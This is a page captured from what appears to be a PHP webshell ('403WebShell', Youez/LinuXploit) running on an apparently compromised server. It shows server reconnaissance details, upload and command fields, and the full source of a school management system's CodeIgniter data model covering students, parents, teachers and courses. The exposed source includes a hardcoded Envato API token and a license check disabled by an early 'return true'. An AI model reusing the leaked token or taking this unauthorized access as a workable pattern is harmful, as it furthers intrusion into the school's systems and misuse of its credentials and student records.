Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.197.231
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/git/sms.edl.codes.solutions/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/git/sms.edl.codes.solutions/application/models/Crud_model.php
<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Crud_model extends CI_Model {

    function __construct() {
        parent::__construct();
    }

    function clear_cache() {
        $this->output->set_header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
        $this->output->set_header('Pragma: no-cache');
    }


    ////////PARENT//////////////
    function get_child_list($id){

      $query = $this->db->get_where('student', array('parent_id' => $id));
        return $query->result_array();
    }
    function get_child_parent($id){
      $query = $this->db->get_where('student', array('student_id' => $id));
      $res = $query->result_array();
      foreach ($res as $row)
         return $row['parent_id'];
    }
    function get_parent_child($id){
    $query = $this->db->get_where('student', array('parent_id' => $id));
    $res = $query->result_array();
    $students = array();
    foreach ($res as $row):
       array_push($students,$row['student_id']);
    endforeach;
    return $students;
    }

    function check_child_course($studentList,$user){
      if(!empty($studentList)){
        foreach($studentList as $student):
          $parent = $this->get_child_parent($student['student_id']);
          if($parent == $user){
            return TRUE;
          }
          else{
            return false;
          }
        endforeach;
       }
      return false;
    }

    function check_child($studentList,$user){
      if(!empty($studentList)){
        foreach($studentList as $student):
          if($student['student_id'] == $user){
            return TRUE;
          }
          else{
            return false;
          }
        endforeach;
       }
      return false;
    }
    function is_child($user,$child){
      //$this->db->select('student_id');
      $query = $this->db->get_where('student', array('parent_id' => $user,'student_id' => $child));
      $query = $query->result_array();
      if(!empty($query)){
        return true;
      }
      else{
        return false;
      }
    }
    function get_parent_list(){
      $this->db->from('parent');
      $this->db->order_by("parent_id", "desc");
      $query = $this->db->get();

        $query = $query->result_array();
        $result = array();

        foreach ($query as $row) {
          if(!$this->checkArchiveState($row['parent_id'],"user")){
            array_push($result,$row);
          }
        }

        return $result;
    }
    function get_parent_info($id){
      $query = $this->db->get_where('parent', array('parent_id' => $id));
      return $query->result_array();
    }
    function get_parents_children($id){
      $query = $this->db->get_where('student', array('parent_id' => $id));
      return $query->result_array();
    }
    function get_parent_name($user_id){
        $query = $this->db->get_where('user', array('user_id' => $user_id));
        $res = $query->result_array();
        foreach ($res as $row)
           return $row['first_name']." ".$row['last_name'];
    }
    ////////STUDENT/////////////
    function get_student_list(){
      $this->db->from('student');
      $this->db->order_by("student_id", "desc");
      $query = $this->db->get();
      $query = $query->result_array();

      $result = array();
      foreach ($query as $row) {
          if(!$this->checkArchiveState($row['student_id'],"user")){
            array_push($result,$row);
          }
        }
      return $result;
    }
    function mix_student_group(){
      $query = $this->db->query("SELECT `student_id`,`dob` FROM `student` UNION SELECT `group_id`,`dob` FROM `group` ORDER BY `student_id` DESC");
      $query = $query->result_array();

      $result = array();
      foreach ($query as $row) {
          if(!$this->checkArchiveState($row['student_id'],"user")){
            array_push($result,$row);
          }
        }
      return $result;
    }


    function get_students($course_id) {
        $query = $this->db->get_where('course_student_new', array('course_id' => $course_id));
        return $query->result_array();
    }
    function get_students_course($student_id){
      $query = $this->db->get_where('course_student_new', array('student_id' => $student_id));
      $query = $query->result_array();
      $filtred = array();
      foreach ($query as $value) {
        if(!in_array($value['course_id'],$filtred)){
            array_push($filtred,$value['course_id']);
        }
      }
      return $filtred;
    }//return array of courseID

    function get_students_count($course_id) {
          $query = $this->db->get_where('course_student_new', array('course_id' => $course_id));
          $result = $query->result_array();

          $history = array();
          $count = 0;

          foreach($result as $value) {
            if(!in_array($value['student_id'],$history)){
                $count ++;
            }
            array_push($history,$value['student_id']);
          }

          if($count != '' or $count != 0){
            return $count;
          }
          else {
            return "0";
          }
    }
    function get_students_count_lesson($lesson_id) {
          $query = $this->db->get_where('course_student_new', array('lesson_id' => $lesson_id));
          $result = count($query->result_array());
          if($result != '' or $result != 0){
            return $result;
          }
          else {
            return "0";
          }
    }
    function get_student_interval($course_id){
            $query = $this->db->get_where('course_student_new', array('course_id' => $course_id));
    }

    function get_student_info($student_id) {
        $query = $this->db->get_where('student', array('student_id' => $student_id));

        return $query->result_array();
    }
    function get_group_info($group_id) {
        $query = $this->db->get_where('group', array('group_id' => $group_id));

        return $query->result_array();
    }

    function get_user_list(){
      $this->db->from('user');
      $this->db->order_by("first_name", "asc");
      $query = $this->db->get();
      return $query->result_array();
    }
    function get_user_lang($user_id){
      $query = $this->db->get_where('user', array('user_id' => $user_id));
      $res = $query->result_array();
      foreach ($res as $row)
         return $row['lang'];
    }
    function get_user_info($user_id){
      $query = $this->db->get_where('user', array('user_id' => $user_id));

      return $query->result_array();
    }
    function get_user_invoice($userId){
      $query = $this->db->get_where('invoices', array('Customer_ID' => $userId));
      $res = $query->result_array();
      foreach ($res as $row)
         return $row;
    }
    function get_user_age($dob){
      $birthDate = explode("-", $dob);
      $age = (int)date("Y") - (int)$birthDate[0];
      if($age == "49"){
        return "n/a";
      }
      return $age;
    }
    function get_user_address($adress_id){
      $query = $this->db->get_where('address', array('address_id' => $adress_id));

      return $query->result_array();
    }

    function get_user_email($user_id){
        $query = $this->db->get_where('user', array('user_id' => $user_id));
        $res = $query->result_array();
        foreach ($res as $row)
           return $row['email'];
    }
    function get_email_user($email){
      $query = $this->db->get_where('user', array('email' => $email));
      $res = $query->result_array();
      foreach ($res as $row)
         return $row['user_id'];
    }
    function get_student_name($user_id){
        $query = $this->db->get_where('user', array('user_id' => $user_id));
        $res = $query->result_array();
        foreach ($res as $row)
           return ucfirst($row['first_name'])." ".ucfirst($row['last_name']);
    }

    function get_students_age_interval($courseID){
      $query = $this->db->get_where('course_student_new', array('course_id' => $courseID));
      $query = $query->result_array();
      $ageList = array();

      foreach ($query as $row) {
        $studentData = $this->get_student_info($row['student_id']);
        array_push($ageList,$studentData[0]['dob']);
        //$test = $studentData[0]['dob'];
      }
      usort($ageList, function($a, $b) {
          $dateTimestamp1 = strtotime($a);
          $dateTimestamp2 = strtotime($b);

          return $dateTimestamp1 < $dateTimestamp2 ? -1: 1;
      });
      $ageList = array_filter($ageList);

      if(count($ageList)>1){
        $younger = $ageList[count($ageList) - 1];
        $younger = date_diff(date_create($younger), date_create('today'))->y;
        $older = $ageList[0];
        $older = date_diff(date_create($older), date_create('today'))->y;

        //$average = round(array_sum($ageList)/count($ageList));
        //$average = date("Y") - $average;
        $average = ($younger + $older) / 2 ;

        $ageInt = $younger." - ". $older ." ($average)";
      }
      else if(count($ageList)==1){
        $ageInt = date_diff(date_create($ageList[0]), date_create('today'))->y;
      }
      else{
        $ageInt = "--";
      }
      return $ageInt;
    }
    function get_students_age_interval_lesson($lessonID){
      $query = $this->db->get_where('course_student_new', array('lesson_id' => $lessonID));
      $query = $query->result_array();
      $ageList = array();

      foreach ($query as $row) {
        $studentData = $this->get_student_info($row['student_id']);
        array_push($ageList,$studentData[0]['dob']);
        //$test = $studentData[0]['dob'];
      }
      usort($ageList, function($a, $b) {
          $dateTimestamp1 = strtotime($a);
          $dateTimestamp2 = strtotime($b);

          return $dateTimestamp1 < $dateTimestamp2 ? -1: 1;
      });
      $ageList = array_filter($ageList);

      if(count($ageList)>1){
        $younger = $ageList[count($ageList) - 1];
        $younger = date_diff(date_create($younger), date_create('today'))->y;
        $older = $ageList[0];
        $older = date_diff(date_create($older), date_create('today'))->y;

        //$average = round(array_sum($ageList)/count($ageList));
        //$average = date("Y") - $average;
        $average = ($younger + $older) / 2 ;

        $ageInt = $younger." - ". $older ." ($average)";
      }
      else if(count($ageList)==1){
        $ageInt = date_diff(date_create($ageList[0]), date_create('today'))->y;
      }
      else{
        $ageInt = "--";
      }
      return $ageInt;
    }
    /////////Language////////////
    function get_languages(){
      $query = $this->db->get('course_language');
      $query = $query->result_array();
      return $query;
    }

    function get_course_language($course_id){
      $query = $this->db->get_where('course_new', array('ID' => $course_id));
      $res = $query->result_array();
      foreach ($res as $row)
         return $this->get_language_name($row['CourseLanguage']);
    }
    function get_language_name($lan_id){
      $query = $this->db->get_where('course_language', array('course_language_id' => $lan_id));
      $res = $query->result_array();
      foreach ($res as $row)
         return $row['code'];
    }
    /////////TEACHER/////////////
    function check_teacher($courseId,$teacher){
      $query = $this->db->get_where('course_teacher', array('course_id' => $courseId,'teacher_id' => $teacher));
      $query = $query->result_array();
      if(!empty($query)){
          return $query;//true;
      }
      else{
        return false;//$query;
      }
    }


    function check_teacher_students($teacher,$student){
      $course_list = $this->get_students_course($student);
        foreach($course_list as $course):
            if($this->check_teacher($course,$teacher)){
              return true;
            }
        endforeach;
        return false;
    }
    function check_teacher_parents($teacher,$parent){
      $childs = $this->get_parent_child($parent);
      foreach ($childs as $child) {
        $course_list = $this->get_students_course($child);
        //return $course_list;
          foreach($course_list as $course):
              if($this->check_teacher($course,$teacher)){
                return true;
              }
          endforeach;
      }
      return false;
    }
    function get_teachers_list($course_id){ //duplicate function
      $query = $this->db->get_where('course_teacher', array('course_id' => $course_id));
      $teachers = $query->result_array();
      $teacherArray = array();

      foreach ($teachers as $teacher) { //filter to prevent duplicate teacher in a course
        $id = $teacher['teacher_id'];
        if(!in_array($id,$teacherArray)){
          array_push($teacherArray, $id);
        }
      }
      return $teacherArray;
    }

    function get_teacher_contract($course_id,$teacher_id){
      $query = $this->db->get_where('teacher_contract', array('Course_ID' => $course_id,'Teacher_ID' => $teacher_id));
      $query = $query->result_array();
      foreach ($query as $row) {
        return $row['Price'];
      }
    }
    function get_teacher_hours($course_id,$teacher_id){
        $query = $this->db->get_where('course_teacher', array('course_id' => $course_id,'teacher_id' => $teacher_id));
        $lessons = $query->result_array();
        $hours = "";
        //return var_dump($lessons);
          foreach ($lessons as $lesson) {
            $duration = $this->get_lesson_duration($lesson['lesson_id']);
            //return var_dump($duration);
            $hours = $duration + $hours;
          }
      return $hours;
    }
    function get_teacher($course_id){
      $query = $this->db->get_where('course_teacher', array('course_id' => $course_id));
      $query = $query->result_array();
      return $query;
    }
    function get_teacher_plus($course_id){
      $query = $this->db->get_where('course_teacher', array('course_id' => $course_id));
      $query = $query->result_array();

      $teachers = array();
      foreach ($query as $result) {
        if(!in_array($result['teacher_id'],$teachers)){
          array_push($teachers,$result['teacher_id']);
        }
      }
      //return $teachers;


      $teachers_data = array();
      foreach ($teachers as $teacher) {

        $query_t = $this->db->get_where('course_teacher', array('course_id' => $course_id, 'teacher_id' => $teacher));
        $query_t = $query_t->result_array();

        $teacher_data = array();
        $teacher_period = array();

        foreach($query_t as $lesson_t){
         array_push($teacher_period,$this->get_lesson_info_short($lesson_t['lesson_id']));
         //return $this->get_lesson_info_short($lesson_t['lesson_id']);
        }

        //return $teacher_period;
        usort($teacher_period, function($a1, $a2) {
           $v1 = strtotime($a1['date']);
           $v2 = strtotime($a2['date']);
           return $v1 - $v2; // $v2 - $v1 to reverse direction
        });
        //return $teacher_period;

        $period_teacher = "[ ".reset($teacher_period) ." - ". end($teacher_period)." ]";
        //return $period_teacher;
        $teacher_data = array(
          "id" => $teacher,
          "period" => $period_teacher
        );

        array_push($teachers_data,$teacher_data);
      }
    //  return $teacher_data;
      return $teachers_data;
    }
    function get_teachers() {
      $this->db->from('teacher');
      $this->db->order_by("teacher_id", "desc");
      $query = $this->db->get();
      $query = $query->result_array();

      $result = array();
      foreach ($query as $row) {
        $name = $this->get_teacher_name($row['teacher_id']);
        if((!$this->checkArchiveState($row['teacher_id'],"user")) && ( $name != "" && $name != " ")){
          array_push($result,$row);
        }
      }
      return $result;
    }

    function get_teacher_name($teacher_id) {
        $query = $this->db->get_where('user', array('user_id' => $teacher_id));
        $query = $query->result_array();
        $name = ucfirst($query[0]['first_name'])." ".ucfirst($query[0]['last_name']);
        return $name;
    }

    function get_teacher_info($teacher_id) {
        $query = $this->db->get_where('teacher', array('teacher_id' => $teacher_id));
        return $query->result_array();
    }
    //new functions:
    function get_teachers_course($teacher_id){
      $query = $this->db->get_where('course_teacher', array('teacher_id' => $teacher_id));
      $query = $query->result_array();
      $filtred = array();
      foreach ($query as $value) {
        if(!in_array($value['course_id'],$filtred)){
            array_push($filtred,$value['course_id']);
        }
      } // filtred result only courses
      return $filtred;
    }
    function get_teacher_associate($user_id,$teacher_id){
      $user = $this->get_teachers_course($user_id);
      $teacher = $this->get_teachers_course($teacher_id);
      if(array_intersect($user,$teacher) != null){
        return true;
      }
      return false;
    }
    function get_student_associate($user_id,$student_id){
      $user = $this->get_teachers_course($user_id);
      $student = $this->get_students_course($student_id);
      if(array_intersect($user,$student) != null){
        return true;
      }
      return false;
    }
    function get_teacher_lang($teacher_id){
      $query = $this->db->get_where('teacher_course_language', array('teacher_id' => $teacher_id));
      return $query->result_array();
    }
    //////////SUBJECT/////////////
    function get_subjects() {
        $query = $this->db->get('subject');
        return $query->result_array();
    }

    function get_subject_info($subject_id) {
        $query = $this->db->get_where('subject', array('subject_id' => $subject_id));
        return $query->result_array();
    }

    function get_subjects_by_course($course_id) {
        $query = $this->db->get_where('subject', array('course_id' => $course_id));
        return $query->result_array();
    }

    function get_subject_name_by_id($subject_id) {
        $query = $this->db->get_where('subject', array('subject_id' => $subject_id))->row();
        return $query->name;
    }

    ////////////COURSE///////////
    //************************//
    //gestion des différences d'heures
    function differenceInHours($startdate,$enddate){
    	$starttimestamp = strtotime($startdate);
    	$endtimestamp = strtotime($enddate);
    	$difference = abs($endtimestamp - $starttimestamp)/3600;
    	return $difference;
    }
    ///////////////////////////:
    function get_course($course_id){
      $query = $this->db->get_where('course_new', array('ID' => $course_id));
      return $query->result_array();
    }
    function get_course_price($course_id){
      $query = $this->db->get_where('course_new', array('ID' => $course_id));
      $data = $query->result_array();

      foreach ($data as $row) {
          return $row['CoursePrice'];
        }
    }
    function get_course_address($id){
      $query = $this->db->get_where('course_address', array('course_id' => $id));
      $res = $query->result_array();
      return $res;
    }
    function get_course_name($course_id) {
        $query = $this->db->get_where('course_new', array('ID' => $course_id));
        $res = $query->result_array();
        foreach ($res as $row)
            return ucfirst($row['CourseName']);
        //return $course_id;
    }
    function get_course_teacher($course_id) {
        $query = $this->db->get_where('course_teacher', array('course_id' => $course_id));
        $res = $query->result_array();
        return $res;
        //foreach ($res as $row)
            //return $this->get_teacher_name($row['CourseTeacher']);
    }
    function get_course_students($course_id){
      $query = $this->db->get_where('course_student_new', array('course_id' => $course_id));
      $res = $query->result_array();


      $students = array();
      $data = array();
      foreach ($res as $row){
          $id = $row['student_id'];
          $name = $this->get_student_name($id);

          $student = array(
            $id,
            $name
                    );

          if(!in_array($id,$students)){
            array_push($data,$student);
          }
          array_push($students,$id);
      }

      return json_encode($data);

    }

    function get_course_teacher_2($course_id) {
        $query = $this->db->get_where('course_teacher', array('course_id' => $course_id));
        $res = $query->result_array();
        $result = array();
        foreach ($res as $row) {
          array_push($result,$row['teacher_id']);
        }
        return $result;
        //return $res;

    }
    function get_course_contract($course_id){
      $query = $this->db->get_where('course_new', array('ID' => $course_id));
      $res = $query->result_array();
      foreach ($res as $row)
          return $row['CourseContract'];
    }

    function get_course_scheduled($course_id){
      $this->db->order_by('LessonDate', 'ASC');
      $data = $this->db->get_where('course_scheduled_new', array('CourseID' => $course_id))->result_array();
      return $data;
    }
    function get_course_start($course_id){
       $this->db->order_by('LessonDate', 'ASC');
       $data = $this->db->get_where('course_scheduled_new', array('CourseID' => $course_id),1)->result_array();
       if($data[0][LessonDate] == ""){
         $data2 = $this->db->get_where('course', array('course_id' => $course_id),1)->result_array();
         if(substr(date("d-m-Y", strtotime($data2[0][start_date])),0,10) == "01-01-1970"){
           return "n/a";
         }
         return substr(date("d/m/Y", strtotime($data2[0][start_date])),0,10);
       }
       if(substr(date("d-m-Y", strtotime($data[0][LessonDate])),0,10) == "01-01-1970"){
         return "n/a";
       }
       return substr(date("d/m/Y", strtotime($data[0][LessonDate])),0,10);
    }

    function get_courses_on_period($start,$end){
      $this->db->select('*');
      $this->db->from('course_scheduled_new');
      $this->db->where('LessonDate <=',$end);
      $this->db->where('LessonDate >=',$start);
      $data = $this->db->get();
      $lessons = $data->result_array();
      //return $lessons;
      $courseArray = array();

      foreach ($lessons as $lesson) { //filter to prevent duplicate course
        $id = $lesson['CourseID'];
          if(!in_array($id,$courseArray)){
            array_push($courseArray,$id);
          }
      }
      return $courseArray;
    }

    function get_course_end($course_id){
      $this->db->order_by('LessonDate', 'DESC');
      $data = $this->db->get_where('course_scheduled_new', array('CourseID' => $course_id),1)->result_array();
      if($data[0][LessonDate] == ""){
        $data2 = $this->db->get_where('course', array('course_id' => $course_id),1)->result_array();
        if(substr(date("d-m-Y", strtotime($data2[0][start_date])),0,10) == "01-01-1970"){
          return "n/a";
        }
         return substr(date("d/m/Y", strtotime($data2[0][end_date])),0,10);
      }
        if(substr(date("d-m-Y", strtotime($data[0][LessonDate])),0,10) == "01-01-1970"){
          return "n/a";
        }
       return substr(date("d/m/Y", strtotime($data[0][LessonDate])),0,10);
    }

    function get_course_hours_total($course_id){
      $hours = "0";
      $data = $this->db->get_where('course_scheduled_new', array('CourseID' => $course_id))->result_array();
      foreach ($data as $row){
         $hours = $hours + $this->differenceInHours($row['LessonStart'],$row['LessonEnd']);
       }
        return $hours;//date_format($hours,'H:i');
    }

    function get_course_hours_remain($course_id){
      $hours = "0";
      $data = $this->db->get_where('course_scheduled_new', array('CourseID' => $course_id))->result_array();
      foreach ($data as $row){
        if($row['LessonDone'] == null){
         $hours = $hours + $this->differenceInHours($row['LessonStart'],$row['LessonEnd']);
       }
       }
        return $hours;//date_format($hours,'H:i');

    }
    function get_course_name_numeric($course_id) {
        $query = $this->db->get_where('course', array('course_id' => $course_id));
        $res = $query->result_array();
        foreach ($res as $row)
            return $row['name_numeric'];
    }

    function get_courses() {
        $this->db->order_by('ID', 'DESC');
        $query = $this->db->get('course_new');
        $query = $query->result_array();

        $result = array();
        foreach ($query as $row) {
          if(!$this->checkArchiveState($row['ID'],"courses")){
            array_push($result,$row);
          }
        }
        return $result;
    }

    function get_courses_level() {
      $query= $this->db->get('course_level');
      return $query->result_array();
    }
    function get_courses_type($id) {
      $query= $this->db->get('course_type');
      $res = $query->result_array();

      if(isset($id)){
        foreach ($res as $row){
          if($row['course_type_id']== $id){
            return $row['code'];
          }
        }
      }
      else{
        return $res;//$query->result_array();
      }
    }
    function get_bgColor($id){
      //return "1".$id;
      $query = $this->db->get_where('course_local', array('course_local_id' => $id));
      $res = $query->result_array();
      foreach ($res as $row){
        return $row['color'];
      }
    }

    function get_courses_local() {
      $query= $this->db->get('course_local');
      $res = $query->result_array();
      return $res;
    }
    function get_course_local($id) {
      $query = $this->db->get_where('course_new', array('ID' => $id));
      $res = $query->result_array();

      foreach ($res as $row){
        return $row['CourseLocal'];
      }
    }



    function get_courses_society() {
      $query= $this->db->get('course_society');
      $res = $query->result_array();
      return $res;
    }
    function get_society_name($id) {
        $query = $this->db->get_where('course_society', array('course_society_id' => $id));
        foreach ($query->result_array() as $row) {
          return $row['code'];
        };
    }

    function get_course_info($course_id) {
        $query = $this->db->get_where('course_new', array('ID' => $course_id));
        return $query->result_array();
    }
    function get_course_classroom($course_id){
      //$this->db->select('CourseType');
      $query = $this->db->get_where('course_new', array('ID' => $course_id));
      $res = $query->result_array();
      foreach ($res as $row){
        //return "hell";
        return $this->get_courses_type($row['CourseType']);
      }
    }
    ///////////lesson//////////
    function get_lessons(){
      $this->db->order_by('LessonDate', 'ASC');
      $query = $this->db->get('course_scheduled_new');
      $query = $query->result_array();

      $result = array();

      foreach ($query as $row) {
        if(!$this->checkArchiveState($row['course_id'],"course")){
          array_push($result,$row);
        }
      }
      return $result;
    }
    function get_lessons_on_period($start,$end){
      $this->db->select('*');
      $this->db->from('course_scheduled_new');
      $this->db->where('LessonDate <=',$end);
      $this->db->where('LessonDate >=',$start);
      $data = $this->db->get();
      $lessons = $data->result_array();

      return $lessons;
    }
    function get_lesson_duration($lesson_id){
      $query = $this->db->get_where('course_scheduled_new', array('ID' => $lesson_id));
      $query = $query->result_array();
      foreach ($query as $row) {
        $ts2 = strtotime($row['date']." ".$row['start']);
        $ts1 = strtotime($row['date']." ".$row['end']);
        $diff = abs($ts2 - $ts1) /3600;
        //$diff = (($diff/3600)/60);
        return $this->differenceInHours($row['LessonStart'],$row['LessonEnd']);
        //return $diff;
        //return round($diff,1);
      }
    }
    function get_lesson_info($lesson_id){
        $query = $this->db->get_where('course_scheduled_new', array('ID' => $lesson_id));
        $query = $query->result_array();
        if($query[0]['LessonName'] != ""){
          $info = $query[0]['LessonName'].":".date("d/m/Y", strtotime($query[0]['LessonDate']))."[".substr($query[0]['LessonStart'],0,5)."-".substr($query[0]['LessonEnd'],0,5)."]";// array wtf just get the first ?
        }
        else{
          $info = date("d/m/Y", strtotime($query[0]['LessonDate']))."[".substr($query[0]['LessonStart'],0,5)."-".substr($query[0]['LessonEnd'],0,5)."]";// array wtf just get the first ?

        }
       return $info; //???
    }
    function get_lesson_info_short($lesson_id){
        $query = $this->db->get_where('course_scheduled_new', array('ID' => $lesson_id));
        $query = $query->result_array();

        $info = date("d/m/Y", strtotime($query[0]['LessonDate']));
       return $info; //???
    }
    function get_lesson_students($lesson_id){
        $query = $this->db->get_where('course_student_new', array('lesson_id' => $lesson_id));
        $query = $query->result_array();
        return $query;
    }
    function get_student_lesson($student_id){
    $query = $this->db->get_where('course_student_new', array('student_id' => $student_id));
    $query = $query->result_array();
    return $query;
    }
    function get_teacher_lesson($teacher_id){
    $query = $this->db->get_where('course_teacher', array('teacher_id' => $teacher_id));
    $query = $query->result_array();
    return $query;
    }
    function get_lesson_teacher($lesson_id){
      //$this->db->select('teacher_id');
      $query = $this->db->get_where('course_teacher', array('lesson_id' => $lesson_id));
      $query = $query->result_array();
      $result = array();
      foreach ($query as $row) {
        array_push($result,$row['teacher_id']);
      }
      return $result;
    }
    function get_json_lesson_students($lesson_id){
      $jsonStudents ="";
      $studentList = $this->get_lesson_students($lesson_id);
      foreach ( $studentList as $key => $row) {
          $id = $row['student_id'];
          $jsonStudents = $jsonStudents ."\"". $key ."\":{\"studentId\":\"".$id."\",\"studentPresence\":\"".$row['status_id']."\",\"studentName\":\"".ucfirst($this->get_student_name($id))."\"},";
      }
      $jsonStudents = "\"students\" : {".rtrim($jsonStudents,',')."}";
      return $jsonStudents;
    }
    function get_json_lesson_teacher($lesson_id){
      $jsonTeacher ="";
      $teacherList = $this->get_lesson_teacher($lesson_id);
      foreach ( $teacherList as $key => $row) {
          $id = $row;
          $jsonTeacher = $jsonTeacher ."\"". $key ."\":{\"teacherId\":\"".$row."\",\"teacherName\":\"".ucfirst($this->get_teacher_name($row))."\"},";
      }
      $jsonTeacher = "\"teacher\" : {".rtrim($jsonTeacher,',')."}";
      return $jsonTeacher;
    }


    function create_log($data) {
        $data['timestamp'] = strtotime(date('Y-m-d') . ' ' . date('H:i:s'));
        $data['ip'] = $_SERVER["REMOTE_ADDR"];
        $location = new SimpleXMLElement(file_get_contents('http://freegeoip.net/xml/' . $_SERVER["REMOTE_ADDR"]));
        $data['location'] = $location->City . ' , ' . $location->CountryName;
        $this->db->insert('log', $data);
    }

    function get_system_settings() {
        $query = $this->db->get('settings');
        return $query->result_array();
    }



    function curl_request($code = '') {
      return true;
        $product_code = $code;

        $personal_token = "FkA9UyDiQT0YiKwYLK3ghyFNRVV9SeUn";
        $url = "https://api.envato.com/v3/market/author/sale?code=".$product_code;
        $curl = curl_init($url);

        //setting the header for the rest of the api
        $bearer   = 'bearer ' . $personal_token;
        $header   = array();
        $header[] = 'Content-length: 0';
        $header[] = 'Content-type: application/json; charset=utf-8';
        $header[] = 'Authorization: ' . $bearer;

        $verify_url = 'https://api.envato.com/v1/market/private/user/verify-purchase:'.$product_code.'.json';
        $ch_verify = curl_init( $verify_url . '?code=' . $product_code );

        curl_setopt( $ch_verify, CURLOPT_HTTPHEADER, $header );
        curl_setopt( $ch_verify, CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch_verify, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt( $ch_verify, CURLOPT_CONNECTTIMEOUT, 5 );
        curl_setopt( $ch_verify, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');

        $cinit_verify_data = curl_exec( $ch_verify );
        curl_close( $ch_verify );

        $response = json_decode($cinit_verify_data, true);

        if (count($response['verify-purchase']) > 0) {
            return true;
        } else {
            return false;
        }

  	}


    function delete_student($student_id) {
      // deleting data of student from all associated tables
      $tables = array('student', 'attendance', 'book_request', 'enroll', 'invoice', 'mark', 'payment');
      $this->db->delete($tables, array('student_id' => $student_id));
      // deleting data from messages
      $threads = $this->db->get('message_thread')->result_array();
      if (count($threads) > 0) {
        foreach ($threads as $row) {
          $sender = explode('-', $row['sender']);
          $receiver = explode('-', $row['reciever']);
          if (($sender[0] == 'student' && $sender[1] == $student_id) || ($receiver[0] == 'student' && $receiver[1] == $student_id)) {
            $thread_code = $row['message_thread_code'];
            $this->db->delete('message', array('message_thread_code' => $thread_code));
            $this->db->delete('message_thread', array('message_thread_code' => $thread_code));
          }
        }
      }
    }
    ////// TIME / DATE //////
    function getTimeDiff($dtime,$atime)
        {
            $nextDay = $dtime>$atime?1:0;
            $dep = explode(':',$dtime);
            $arr = explode(':',$atime);
            $diff = abs(mktime($dep[0],$dep[1],0,date('n'),date('j'),date('y'))-mktime($arr[0],$arr[1],0,date('n'),date('j')+$nextDay,date('y')));
            $hours = floor($diff/(60*60));
            $mins = floor(($diff-($hours*60*60))/(60));
            $secs = floor(($diff-(($hours*60*60)+($mins*60))));
            if(strlen($hours)<2){$hours="0".$hours;}
            if(strlen($mins)<2){$mins="0".$mins;}
            if(strlen($secs)<2){$secs="0".$secs;}
            return $hours.':'.$mins;
        }

    function getLastAssignedS($id){
      $list = $this->get_student_lesson($id);
      if(count($list) != 0){
      $lastestDate = null;
      foreach ($list as $row) {
        $currDate = date($this->get_course_end($row['course_id']));
        if(strtotime($currDate) >= strtotime($lastestDate)){
          $lastestDate = $currDate;
        }
      }
      return $lastestDate;
      }
      else{
        return null;
      }
    }
    function getLastAssignedT($id){
      $list = $this->get_teacher_lesson($id);
      if(count($list) != 0){
      $lastestDate = null;
      foreach ($list as $row) {
        $currDate = date($this->get_course_end($row['course_id']));
        if(strtotime($currDate) >= strtotime($lastestDate)){
          $lastestDate = $currDate;
        }
      }
      return $lastestDate;
      }
      else{
        return null;
      }
    }
    function getCreation($id){
        $query = $this->db->get_where('user', array('user_id' => $id));
        $query = $query->result_array();
        foreach ($query as $row) {
          return $row['CreationDate'];
        }
    }

    function checkArchiveState($id,$param){
      if($param == "courses"){
          $query = $this->db->get_where('course_new', array('ID' => $id));
          $query = $query->result_array();
          foreach ($query as $row) {
            if($row['Archived'] == 1){
              return true;
            }
            else{
              return false;
            }
          }
        }
        elseif($param == "user"){
            $query = $this->db->get_where('user', array('user_id' => $id));
            $query = $query->result_array();
            foreach ($query as $row) {
              if($row['Archived'] == 1){
                return true;
              }
              else{
                return false;
              }
            }
          }
          else{
            return false;
          }
      }

  ////// prevent duplication //////
  function check_assigned_t($cid,$lid,$tid){
    $query = $this->db->get_where('course_teacher', array('course_id' => $cid,'teacher_id' => $tid,'lesson_id' => $lid));
    $query = $query->result_array();
    if(!empty($query)){
        return true;
    }
    else{
      return false;
    }
  }
  function check_assigned_s($cid,$lid,$sid){
    $query = $this->db->get_where('course_student_new', array('course_id' => $cid,'student_id' => $sid,'lesson_id' => $lid));
    $query = $query->result_array();
    if(!empty($query)){
        return true;
    }
    else{
      return false;//$query;
    }
  }
  ////// notification ////
  function notify_candidate(){
    if($this->notify_candidate_s() != "0"){
      return true;
    }
    if($this->notify_pending_s() != "0"){
      return true;
    }
    if($this->notify_candidate_t() != "0"){
      return true;
    }
    if($this->notify_pending_t() != "0"){
      return true;
    }
    return false;
  }
  function notify_candidate_s(){
    $query = $this->db->get_where('candidate_student', array('status' => '0'));
    $query = $query->result_array();
    return count($query);
  }
  function notify_pending_s(){
    $query = $this->db->get_where('candidate_student', array('status' => '1'));
    $query = $query->result_array();
    return count($query);
  }
  function notify_candidate_t(){
    $query = $this->db->get_where('candidate_teacher', array('status' => '0'));
    $query = $query->result_array();
    return count($query);
  }
  function notify_pending_t(){
    $query = $this->db->get_where('candidate_teacher', array('status' => '1'));
    $query = $query->result_array();
    return count($query);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit